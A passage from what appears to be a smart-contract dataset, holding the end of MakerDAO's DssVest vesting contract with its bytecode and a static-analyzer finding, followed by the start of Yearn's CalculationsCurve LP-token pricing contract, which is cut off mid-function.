require(_bgn < add(block.timestamp, TWENTY_YEARS), "DssVest/bgn-too-far");
require(_bgn > sub(block.timestamp, TWENTY_YEARS), "DssVest/bgn-too-long-ago");
require(_tau > 0, "DssVest/tau-zero");
require(_tot / _tau <= cap, "DssVest/rate-too-high");
require(_tau <= TWENTY_YEARS, "DssVest/tau-too-long");
require(_eta <= _tau, "DssVest/eta-too-long");
require(ids < type(uint256).max, "DssVest/ids-overflow");
id = ++ids;
awards[id] = Award({
usr: _usr,
bgn: toUint48(_bgn),
clf: toUint48(add(_bgn, _eta)),
fin: toUint48(add(_bgn, _tau)),
tot: toUint128(_tot),
rxd: 0,
mgr: _mgr,
res: 0
});
emit Init(id, _usr);
}
/*
@dev Anyone (or only owner of a vesting contract if restricted) calls this to claim all available rewards
@param _id The id of the vesting contract
*/
function vest(uint256 _id) external {
_vest(_id, type(uint256).max);
}
/*
@dev Anyone (or only owner of a vesting contract if restricted) calls this to claim rewards
@param _id The id of the vesting contract
@param _maxAmt The maximum amount to vest
*/
function vest(uint256 _id, uint256 _maxAmt) external {
_vest(_id, _maxAmt);
}
/*
@dev Anyone (or only owner of a vesting contract if restricted) calls this to claim rewards
@param _id The id of the vesting contract
@param _maxAmt The maximum amount to vest
*/
function _vest(uint256 _id, uint256 _maxAmt) internal lock {
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
require(_award.res == 0 || _award.usr == msg.sender, "DssVest/only-user-can-claim");
uint256 amt = unpaid(block.timestamp, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd);
amt = min(amt, _maxAmt);
awards[_id].rxd = toUint128(add(_award.rxd, amt));
pay(_award.usr, amt);
emit Vest(_id, amt);
}
/*
@dev amount of tokens accrued, not accounting for tokens paid
@param _id The id of the vesting contract
*/
function accrued(uint256 _id) external view returns (uint256 amt) {
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
amt = accrued(block.timestamp, _award.bgn, _award.fin, _award.tot);
}
/*
@dev amount of tokens accrued, not accounting for tokens paid
@param _time the timestamp to perform the calculation
@param _bgn the start time of the contract
@param _end the end time of the contract
@param _amt the total amount of the contract
*/
function accrued(uint256 _time, uint48 _bgn, uint48 _fin, uint128 _tot) internal pure returns (uint256 amt) {
if (_time < _bgn) {
amt = 0;
} else if (_time >= _fin) {
amt = _tot;
} else {
amt = mul(_tot, sub(_time, _bgn)) / sub(_fin, _bgn); // 0 <= amt < _award.tot
}
}
/*
@dev return the amount of vested, claimable GEM for a given ID
@param _id The id of the vesting contract
*/
function unpaid(uint256 _id) external view returns (uint256 amt) {
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
amt = unpaid(block.timestamp, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd);
}
/*
@dev amount of tokens accrued, not accounting for tokens paid
@param _time the timestamp to perform the calculation
@param _bgn the start time of the contract
@param _clf the timestamp of the cliff
@param _end the end time of the contract
@param _tot the total amount of the contract
@param _rxd the number of gems received
*/
function unpaid(uint256 _time, uint48 _bgn, uint48 _clf, uint48 _fin, uint128 _tot, uint128 _rxd) internal pure returns (uint256 amt) {
amt = _time < _clf ? 0 : sub(accrued(_time, _bgn, _fin, _tot), _rxd);
}
/*
@dev Allows governance or the owner to restrict vesting to the owner only
@param _id The id of the vesting contract
*/
function restrict(uint256 _id) external lock {
address usr_ = awards[_id].usr;
require(usr_ != address(0), "DssVest/invalid-award");
require(wards[msg.sender] == 1 || usr_ == msg.sender, "DssVest/not-authorized");
awards[_id].res = 1;
emit Restrict(_id);
}
/*
@dev Allows governance or the owner to enable permissionless vesting
@param _id The id of the vesting contract
*/
function unrestrict(uint256 _id) external lock {
address usr_ = awards[_id].usr;
require(usr_ != address(0), "DssVest/invalid-award");
require(wards[msg.sender] == 1 || usr_ == msg.sender, "DssVest/not-authorized");
awards[_id].res = 0;
emit Unrestrict(_id);
}
/*
@dev Allows governance or the manager to remove a vesting contract immediately
@param _id The id of the vesting contract
*/
function yank(uint256 _id) external {
_yank(_id, block.timestamp);
}
/*
@dev Allows governance or the manager to remove a vesting contract at a future time
@param _id The id of the vesting contract
@param _end A scheduled time to end the vest
*/
function yank(uint256 _id, uint256 _end) external {
_yank(_id, _end);
}
/*
@dev Allows governance or the manager to end pre-maturely a vesting contract
@param _id The id of the vesting contract
@param _end A scheduled time to end the vest
*/
function _yank(uint256 _id, uint256 _end) internal lock {
require(wards[msg.sender] == 1 || awards[_id].mgr == msg.sender, "DssVest/not-authorized");
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
if (_end < block.timestamp) {
_end = block.timestamp;
}
if (_end < _award.fin) {
uint48 end = toUint48(_end);
awards[_id].fin = end;
if (end < _award.bgn) {
awards[_id].bgn = end;
awards[_id].clf = end;
awards[_id].tot = 0;
} else if (end < _award.clf) {
awards[_id].clf = end;
awards[_id].tot = 0;
} else {
awards[_id].tot = toUint128(
add(
unpaid(_end, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd),
_award.rxd
)
);
}
}
emit Yank(_id, _end);
}
/*
@dev Allows owner to move a contract to a different address
@param _id The id of the vesting contract
@param _dst The address to send ownership of the contract to
*/
function move(uint256 _id, address _dst) external lock {
require(awards[_id].usr == msg.sender, "DssVest/only-user-can-move");
require(_dst != address(0), "DssVest/zero-address-invalid");
awards[_id].usr = _dst;
emit Move(_id, _dst);
}
/*
@dev Return true if a contract is valid
@param _id The id of the vesting contract
*/
function valid(uint256 _id) external view returns (bool isValid) {
isValid = awards[_id].rxd < awards[_id].tot;
}
/*
@dev Override this to implement payment logic.
@param _guy The payment target.
@param _amt The payment amount. [units are implementation-specific]
*/
function pay(address _guy, uint256 _amt) virtual internal;
}
contract DssVestMintable is DssVest {
MintLike public immutable gem;
/*
@dev This contract must be authorized to 'mint' on the token
@param _gem The contract address of the mintable token
*/
constructor(address _gem) public DssVest() {
require(_gem != address(0), "DssVest/Invalid-token-address");
gem = MintLike(_gem);
}
/*
@dev Override pay to handle mint logic
@param _guy The recipient of the minted token
@param _amt The amount of token units to send to the _guy
*/
function pay(address _guy, uint256 _amt) override internal {
gem.mint(_guy, _amt);
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063bb7c46f3116100f9578063db64ff8f11610097578063e529780d11610071578063e529780d146104eb578063e7657e1514610508578063f52981f414610510578063fc5a5b631461052d576101c4565b8063db64ff8f1461046b578063dc2c788f146104b1578063e054720f146104ce576101c4565b8063c659cd45116100d3578063c659cd45146103e8578063cdf4349714610405578063d4e8fd2e14610422578063d8a8e03a1461043f576101c4565b8063bb7c46f31461036e578063bf353dbb14610391578063bf8712c5146103b7576101c4565b806360fb494b116101665780637bd2bea7116101405780637bd2bea7146102ea5780637d8d27021461030e578063892de51d1461032b5780639c52a7f114610348576101c4565b806360fb494b1461029f57806365fae35e146102a75780636a760b80146102cd576101c4565b8063355274ea116101a2578063355274ea1461023a5780633c433d5f14610242578063509aaa1d1461025f57806353e8863d14610282576101c4565b806321f6c0cf146101c957806326e027f1146101f857806329ae811414610217575b600080fd5b6101e6600480360360208110156101df57600080fd5b50356105b2565b60408051918252519081900360200190f35b6102156004803603602081101561020e57600080fd5b50356105d6565b005b6102156004803603604081101561022d57600080fd5b50803590602001356105e3565b6101e6610721565b6102156004803603602081101561025857600080fd5b5035610727565b6102156004803603604081101561027557600080fd5b5080359060200135610888565b6101e66004803603602081101561029857600080fd5b5035610896565b6101e66109b0565b610215600480360360208110156102bd57600080fd5b50356001600160a01b03166109b8565b610215600480360360208110156102e357600080fd5b5035610a52565b6102f2610a5e565b604080516001600160a01b039092168252519081900360200190f35b6102156004803603602081101561032457600080fd5b5035610a82565b6101e66004803603602081101561034157600080fd5b5035610bdd565b6102156004803603602081101561035e57600080fd5b50356001600160a01b0316610bfc565b6102156004803603604081101561038457600080fd5b5080359060200135610c93565b6101e6600480360360208110156103a757600080fd5b50356001600160a01b0316610c9d565b6103d4600480360360208110156103cd57600080fd5b5035610caf565b604080519115158252519081900360200190f35b6102f2600480360360208110156103fe57600080fd5b5035610cda565b6101e66004803603602081101561041b57600080fd5b5035610cf5565b6101e66004803603602081101561043857600080fd5b5035610d16565b6102156004803603604081101561045557600080fd5b50803590602001356001600160a01b0316610d35565b6101e6600480360360c081101561048157600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160808201359160a0013516610ea0565b6102f2600480360360208110156104c757600080fd5b5035611405565b6101e6600480360360208110156104e457600080fd5b503561142a565b6101e66004803603602081101561050157600080fd5b5035611450565b6101e661146d565b6101e66004803603602081101561052657600080fd5b5035611473565b61054a6004803603602081101561054357600080fd5b503561157c565b604080516001600160a01b03998a16815265ffffffffffff98891660208201529688168782015294909616606086015291909516608084015260ff90941660a08301526001600160801b0393841660c08301529190921660e083015251908190036101000190f35b600081815260026020526040902054600160a01b900465ffffffffffff165b919050565b6105e081426115ec565b50565b3360009081526001602081905260409091205414610636576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b60005415610679576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b60016000556206361760ec1b8214156106965760048190556106e3565b6040805162461bcd60e51b815260206004820152601f60248201527f447373566573742f66696c652d756e7265636f676e697a65642d706172616d00604482015290519081900360640190fd5b60408051828152905183917fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7919081900360200190a2505060008055565b60045481565b6000541561076a576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b60016000908155818152600260205260409020546001600160a01b0316806107d1576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b3360009081526001602081905260409091205414806107f857506001600160a01b03811633145b610837576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b600082815260026020526040808220600101805460ff60d01b1916600160d01b1790555183917f9247a2bf1b75bc397d4043d99b9cebce531548a01dbb56a5d4c5f5ca26051e8d91a2505060008055565b61089282826115ec565b5050565b60006108a0611f16565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e082015290610987576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b6109a9428260200151836040015184606001518560c001518660e00151611975565b9392505050565b632598060081565b3360009081526001602081905260409091205414610a0b576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260016020819052604080832091909155517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6105e0816000196119b7565b7f0000000000000000000000009f8f72aa9304c8b593d555f12ef6589cc3a579a281565b60005415610ac5576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b60016000908155818152600260205260409020546001600160a01b031680610b2c576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b336000908152600160208190526040909120541480610b5357506001600160a01b03811633145b610b92576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b600082815260026020526040808220600101805460ff60d01b191690555183917f3d1b575f06b2d660af77eec35d9b3ffcfa956b6c1fdbc840992d4b03b03e622b91a2505060008055565b600090815260026020819052604090912001546001600160801b031690565b3360009081526001602081905260409091205414610c4f576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b61089282826119b7565b60016020526000908152604090205481565b600090815260026020819052604090912001546001600160801b03808216600160801b909204161090565b6000908152600260205260409020546001600160a01b031690565b600090815260026020526040902054600160d01b900465ffffffffffff1690565b600090815260026020526040902060010154600160d01b900460ff1690565b60005415610d78576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b60016000908155828152600260205260409020546001600160a01b03163314610de8576040805162461bcd60e51b815260206004820152601a60248201527f447373566573742f6f6e6c792d757365722d63616e2d6d6f7665000000000000604482015290519081900360640190fd5b6001600160a01b038116610e43576040805162461bcd60e51b815260206004820152601c60248201527f447373566573742f7a65726f2d616464726573732d696e76616c696400000000604482015290519081900360640190fd5b60008281526002602052604080822080546001600160a01b0319166001600160a01b0385169081179091559051909184917f8ceddd02f4fb8ef0d5d6212cf4c91d59d366e04b977e8b2b944168d2a6d850819190a3505060008055565b33600090815260016020819052604082205414610ef2576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b60005415610f35576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b60016000556001600160a01b038716610f8c576040805162461bcd60e51b81526020600482015260146024820152732239b9ab32b9ba17b4b73b30b634b216bab9b2b960611b604482015290519081900360640190fd5b60008611610fe1576040805162461bcd60e51b815260206004820152601c60248201527f447373566573742f6e6f2d766573742d746f74616c2d616d6f756e7400000000604482015290519081900360640190fd5b610fef426325980600611c21565b8510611038576040805162461bcd60e51b81526020600482015260136024820152722239b9ab32b9ba17b133b716ba37b796b330b960691b604482015290519081900360640190fd5b611046426325980600611c76565b8511611099576040805162461bcd60e51b815260206004820152601860248201527f447373566573742f62676e2d746f6f2d6c6f6e672d61676f0000000000000000604482015290519081900360640190fd5b600084116110e1576040805162461bcd60e51b815260206004820152601060248201526f447373566573742f7461752d7a65726f60801b604482015290519081900360640190fd5b6004548487816110ed57fe5b041115611139576040805162461bcd60e51b8152602060048201526015602482015274088e6e6accae6e85ee4c2e8ca5ae8dede5ad0d2ced605b1b604482015290519081900360640190fd5b6325980600841115611189576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f7461752d746f6f2d6c6f6e6760601b604482015290519081900360640190fd5b838311156111d5576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6574612d746f6f2d6c6f6e6760601b604482015290519081900360640190fd5b60001960035410611224576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6964732d6f766572666c6f7760601b604482015290519081900360640190fd5b5060038054600101908190556040805161010081019091526001600160a01b03881681526020810161125587611cc6565b65ffffffffffff16815260200161127461126f8887611c21565b611cc6565b65ffffffffffff16815260200161128e61126f8888611c21565b65ffffffffffff1681526001600160a01b0384166020820152600060408201526060016112ba88611d23565b6001600160801b03908116825260006020928301819052848152600280845260408083208651815496880151888401516001600160a01b03199098166001600160a01b039283161765ffffffffffff60a01b1916600160a01b65ffffffffffff92831602176001600160d01b0316600160d01b9882168902178355606089015160018401805460808c015160a08d015165ffffffffffff1990921693909416929092176601000000000000600160d01b031916600160301b938516939093029290921760ff60d01b191660ff9091169098029790971790965560c08701519201805460e0909701516001600160801b0319909716928516929092178416600160801b96909416959095029290921790915591519089169183917f2e3cc5298d3204a0f0fc2be0f6fdefcef002025f4c75caf950b23e6cfbfb78d09190a3600080559695505050505050565b600090815260026020526040902060010154600160301b90046001600160a01b031690565b60009081526002602081905260409091200154600160801b90046001600160801b031690565b60009081526002602052604090206001015465ffffffffffff1690565b60035481565b600061147d611f16565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e082015290611564576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b6109a942826020015183606001518460c00151611d81565b60026020819052600091825260409091208054600182015491909201546001600160a01b038084169365ffffffffffff600160a01b8204811694600160d01b9283900482169491811693600160301b8204169260ff910416906001600160801b0380821691600160801b90041688565b6000541561162f576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b6001600081815533815260208290526040902054148061166f5750600082815260026020526040902060010154600160301b90046001600160a01b031633145b6116ae576040805162461bcd60e51b81526020600482015260166024820152600080516020611f7b833981519152604482015290519081900360640190fd5b6116b6611f16565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e08201529061179d576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b428210156117a9574291505b806060015165ffffffffffff168210156119365760006117c883611cc6565b6000858152600260209081526040909120600101805465ffffffffffff191665ffffffffffff84811691821790925591850151929350919091161115611865576000848152600260208190526040909120805465ffffffffffff60a01b1916600160a01b65ffffffffffff8516908102919091176001600160d01b0316600160d01b919091021781550180546001600160801b0319169055611934565b816040015165ffffffffffff168165ffffffffffff1610156118c357600084815260026020819052604090912080546001600160d01b0316600160d01b65ffffffffffff8516021781550180546001600160801b0319169055611934565b6119036118fe6118eb858560200151866040015187606001518860c001518960e00151611975565b8460e001516001600160801b0316611c21565b611d23565b60008581526002602081905260409091200180546001600160801b0319166001600160801b03929092169190911790555b505b60408051838152905184917f6f2a3ed78a3066d89360b6c89e52bf3313f52e859401a3ea5fa0f033fd540c3c919081900360200190a250506000805550565b60008465ffffffffffff1687106119a9576119a461199588888787611d81565b836001600160801b0316611c76565b6119ac565b60005b979650505050505050565b600054156119fa576040805162461bcd60e51b81526020600482015260156024820152600080516020611f5b833981519152604482015290519081900360640190fd5b6001600055611a07611f16565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e082015290611aee576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b60a081015160ff161580611b0b575080516001600160a01b031633145b611b5c576040805162461bcd60e51b815260206004820152601b60248201527f447373566573742f6f6e6c792d757365722d63616e2d636c61696d0000000000604482015290519081900360640190fd5b6000611b80428360200151846040015185606001518660c001518760e00151611975565b9050611b8c8184611e0b565b9050611ba86118fe8360e001516001600160801b031683611c21565b60008581526002602081905260409091200180546001600160801b03928316600160801b0292169190911790558151611be19082611e20565b60408051828152905185917fa2906882572b0e9dfe893158bb064bc308eb1bd87d1da481850f9d17fc293847919081900360200190a25050600080555050565b80820182811015611c70576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b92915050565b80820382811115611c70576040805162461bcd60e51b8152602060048201526015602482015274447373566573742f7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b8065ffffffffffff811681146105d1576040805162461bcd60e51b815260206004820152601760248201527f447373566573742f75696e7434382d6f766572666c6f77000000000000000000604482015290519081900360640190fd5b806001600160801b03811681146105d1576040805162461bcd60e51b815260206004820152601860248201527f447373566573742f75696e743132382d6f766572666c6f770000000000000000604482015290519081900360640190fd5b60008365ffffffffffff16851015611d9b57506000611e03565b8265ffffffffffff168510611dba57506001600160801b038116611e03565b611dd48365ffffffffffff168565ffffffffffff16611c76565b611df8836001600160801b0316611df3888865ffffffffffff16611c76565b611eb3565b81611dff57fe5b0490505b949350505050565b6000818311611e1a57826109a9565b50919050565b7f0000000000000000000000009f8f72aa9304c8b593d555f12ef6589cc3a579a26001600160a01b03166340c10f1983836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015611e9757600080fd5b505af1158015611eab573d6000803e3d6000fd5b505050505050565b6000811580611ece57505080820282828281611ecb57fe5b04145b611c70576040805162461bcd60e51b8152602060048201526014602482015273447373566573742f6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b6040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101919091529056fe447373566573742f73797374656d2d6c6f636b65640000000000000000000000447373566573742f6e6f742d617574686f72697a656400000000000000000000a264697066735822122054d4742185b92a670d9813d5c44df6094b2628e988f3db3ed1a15adfe7f2d24a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,081 |
0xf1c3047c6310806de1d25535bc50748815066a7b
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract Ownable {
address public ownerAddress;
constructor() {
ownerAddress = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == ownerAddress, "Ownable: caller is not the owner");
_;
}
function setOwnerAddress(address _ownerAddress) public onlyOwner {
ownerAddress = _ownerAddress;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
}
interface ICurvePool {
function get_virtual_price() external view returns (uint256);
function coins(uint256 arg0) external view returns (address);
}
interface ICurveRegistry {
function get_pool_from_lp_token(address arg0)
external
view
returns (address);
function get_underlying_coins(address arg0)
external
view
returns (address[8] memory);
function get_virtual_price_from_lp_token(address arg0)
external
view
returns (uint256);
}
interface ICryptoPool {
function balances(uint256) external view returns (uint256);
function price_oracle(uint256) external view returns (uint256);
// Some crypto pools only consist of 2 coins, one of which is usd so
// it can be assumed that the price oracle doesn't need an argument
// and the price of the oracle refers to the other coin.
// This function is mutually exclusive with the price_oracle function that takes
// an argument of the index of the coin, only one will be present on the pool
function price_oracle() external view returns (uint256);
function coins(uint256) external view returns (address);
}
interface ILp {
function totalSupply() external view returns (uint256);
}
interface IOracle {
function getPriceUsdcRecommended(address tokenAddress)
external
view
returns (uint256);
function usdcAddress() external view returns (address);
}
interface IYearnAddressesProvider {
function addressById(string memory) external view returns (address);
}
interface ICurveAddressesProvider {
function get_registry() external view returns (address);
function get_address(uint256) external view returns (address);
}
interface ICalculationsChainlink {
function oracleNamehashes(address) external view returns (bytes32);
}
interface ICurveRegistryOverrides {
function poolByLp(address) external view returns (address);
}
contract CalculationsCurve is Ownable {
address public yearnAddressesProviderAddress;
address public curveAddressesProviderAddress;
IYearnAddressesProvider internal yearnAddressesProvider;
ICurveAddressesProvider internal curveAddressesProvider;
constructor(
address _yearnAddressesProviderAddress,
address _curveAddressesProviderAddress
) {
yearnAddressesProviderAddress = _yearnAddressesProviderAddress;
curveAddressesProviderAddress = _curveAddressesProviderAddress;
yearnAddressesProvider = IYearnAddressesProvider(
_yearnAddressesProviderAddress
);
curveAddressesProvider = ICurveAddressesProvider(
_curveAddressesProviderAddress
);
}
function updateYearnAddressesProviderAddress(
address _yearnAddressesProviderAddress
) external onlyOwner {
yearnAddressesProviderAddress = _yearnAddressesProviderAddress;
yearnAddressesProvider = IYearnAddressesProvider(
_yearnAddressesProviderAddress
);
}
function updateCurveAddressesProviderAddress(
address _curveAddressesProviderAddress
) external onlyOwner {
curveAddressesProviderAddress = _curveAddressesProviderAddress;
curveAddressesProvider = ICurveAddressesProvider(
_curveAddressesProviderAddress
);
}
function oracle() internal view returns (IOracle) {
return IOracle(yearnAddressesProvider.addressById("ORACLE"));
}
function curveRegistry() internal view returns (ICurveRegistry) {
return ICurveRegistry(curveAddressesProvider.get_registry());
}
function cryptoPoolRegistry() internal view returns (ICurveRegistry) {
return ICurveRegistry(curveAddressesProvider.get_address(5));
}
function curveRegistryOverrides()
internal
view
returns (ICurveRegistryOverrides)
{
return
ICurveRegistryOverrides(
yearnAddressesProvider.addressById("CURVE_REGISTRY_OVERRIDES")
);
}
function getCurvePriceUsdc(address lpAddress)
public
view
returns (uint256)
{
if (isLpCryptoPool(lpAddress)) {
return cryptoPoolLpPriceUsdc(lpAddress);
}
uint256 basePrice = getBasePrice(lpAddress);
uint256 virtualPrice = getVirtualPrice(lpAddress);
IERC20 usdc = IERC20(oracle().usdcAddress());
uint256 decimals = usdc.decimals();
uint256 decimalsAdjustment = 18 - decimals;
uint256 priceUsdc = (virtualPrice *
basePrice *
(10**decimalsAdjustment)) / 10**(decimalsAdjustment + 18);
return priceUsdc;
}
function cryptoPoolLpTotalValueUsdc(address lpAddress)
public
view
returns (uint256)
{
address poolAddress = getPoolFromLpToken(lpAddress);
address[]
memory underlyingTokensAddresses = cryptoPoolUnderlyingTokensAddressesByPoolAddress(
poolAddress
);
uint256 totalValue;
for (
uint256 tokenIdx;
tokenIdx < underlyingTokensAddresses.length;
tokenIdx++
) {
uint256 tokenValueUsdc = cryptoPoolTokenAmountUsdc(
poolAddress,
tokenIdx
);
totalValue += tokenValueUsdc;
}
return totalValue;
}
function cryptoPoolLpPriceUsdc(address lpAddress)
public
view
returns (uint256)
{
uint256 totalValueUsdc = cryptoPoolLpTotalValueUsdc(lpAddress);
uint256 totalSupply = ILp(lpAddress).totalSupply();
uint256 priceUsdc = (totalValueUsdc * 10**18) / totalSupply;
return priceUsdc;
}
struct TokenAmount {
address tokenAddress;
string tokenSymbol;
uint256 amountUsdc;
}
function cryptoPoolTokenAmountsUsdc(address poolAddress)
public
view
returns (TokenAmount[] memory)
{
address[]
memory underlyingTokensAddresses = cryptoPoolUnderlyingTokensAddressesByPoolAddress(
poolAddress
);
TokenAmount[] memory _tokenAmounts = new TokenAmount[](
underlyingTokensAddresses.length
);
for (
uint256 tokenIdx;
tokenIdx < underlyingTokensAddresses.length;
tokenIdx++
) {
address tokenAddress = underlyingTokensAddresses[tokenIdx];
string memory tokenSymbol = IERC20(tokenAddress).symbol();
uint256 amountUsdc = cryptoPoolTokenAmountUsdc(
poolAddress,
tokenIdx
);
_tokenAmounts[tokenIdx] = TokenAmount({
tokenAddress: tokenAddress,
tokenSymbol: tokenSymbol,
amountUsdc: amountUsdc
});
}
return _tokenAmounts;
}
function cryptoPoolTokenAmountUsdc(address poolAddress, uint256 tokenIdx)
public
view
returns (uint256)
{
ICryptoPool pool = ICryptoPool(poolAddress);
address tokenAddress = pool.coins(tokenIdx);
uint8 decimals = IERC20(tokenAddress).decimals();
uint256 tokenPrice = oracle().getPriceUsdcRecommended(tokenAddress);
uint256 tokenValueUsdc = (pool.balances(tokenIdx) * tokenPrice) /
10**decimals;
return tokenValueUsdc;
}
function cryptoPoolUnderlyingTokensAddressesByPoolAddress(
address poolAddress
) public view returns (address[] memory) {
uint256 numberOfTokens;
address[] memory _tokensAddresses = new address[](8);
for (uint256 coinIdx; coinIdx < 8; coinIdx++) {
(bool success, bytes memory data) = address(poolAddress).staticcall(
abi.encodeWithSignature("coins(uint256)", coinIdx)
);
if (success) {
address tokenAddress = abi.decode(data, (address));
_tokensAddresses[coinIdx] = tokenAddress;
numberOfTokens++;
} else {
break;
}
}
bytes memory encodedAddresses = abi.encode(_tokensAddresses);
assembly {
mstore(add(encodedAddresses, 0x40), numberOfTokens)
}
address[] memory filteredAddresses = abi.decode(
encodedAddresses,
(address[])
);
return filteredAddresses;
}
function getBasePrice(address lpAddress) public view returns (uint256) {
address poolAddress = getPoolFromLpToken(lpAddress);
address underlyingCoinAddress = getUnderlyingCoinFromPool(poolAddress);
uint256 basePriceUsdc = oracle().getPriceUsdcRecommended(
underlyingCoinAddress
);
return basePriceUsdc;
}
// should not be used with lpAddresses that are from the crypto swap registry
function getVirtualPrice(address lpAddress) public view returns (uint256) {
return curveRegistry().get_virtual_price_from_lp_token(lpAddress);
}
function isCurveLpToken(address lpAddress) public view returns (bool) {
address poolAddress = getPoolFromLpToken(lpAddress);
bool tokenHasCurvePool = poolAddress != address(0);
return tokenHasCurvePool;
}
function isLpCryptoPool(address lpAddress) public view returns (bool) {
address poolAddress = getPoolFromLpToken(lpAddress);
if (poolAddress != address(0)) {
return isPoolCryptoPool(poolAddress);
}
return false;
}
function isPoolCryptoPool(address poolAddress) public view returns (bool) {
(bool success, ) = address(poolAddress).staticcall(
abi.encodeWithSignature("price_oracle(uint256)", 0)
);
if (success) {
return true;
}
(bool successNoParams, ) = address(poolAddress).staticcall(
abi.encodeWithSignature("price_oracle()")
);
return successNoParams;
}
function getPoolFromLpToken(address lpAddress)
public
view
returns (address)
{
return curveRegistryOverrides().poolByLp(lpAddress);
}
function isBasicToken(address tokenAddress) public view returns (bool) {
return
ICalculationsChainlink(
yearnAddressesProvider.addressById("CALCULATIONS_CHAINLINK")
).oracleNamehashes(tokenAddress) != bytes32(0);
}
// should not be used with pools from the crypto pool registry
function getUnderlyingCoinFromPool(address poolAddress)
public
view
returns (address)
{
address[8] memory coins = curveRegistry().get_underlying_coins(
poolAddress
);
return getPreferredCoinFromCoins(coins);
}
function getPreferredCoinFromCoins(address[8] memory coins)
internal
view
returns (address)
{
// Look for preferred coins (basic coins)
address preferredCoinAddress;
for (uint256 coinIdx = 0; coinIdx < 8; coinIdx++) {
address coinAddress = coins[coinIdx];
if (coinAddress != address(0) && isBasicToken(coinAddress)) {
preferredCoinAddress = coinAddress;
break;
} else if (coinAddress != address(0)) {
preferredCoinAddress = coinAddress;
}
// Found preferred coin and we're at the end of the token array
if (
(preferredCoinAddress != address(0) &&
coinAddress == address(0)) || coinIdx == 7
) {
break;
}
}
return preferredCoinAddress;
}
function getPriceUsdc(address assetAddress) public view returns (uint256) {
if (isCurveLpToken(assetAddress)) {
return getCurvePriceUsdc(assetAddress);
}
ICurvePool pool = ICurvePool(assetAddress);
uint256 virtualPrice = pool.get_virtual_price();
address[8] memory coins;
for (uint256 i = 0; i < 8; i++) {
try pool.coins(i) returns (address coin) {
coins[i] = coin;
} catch {}
}
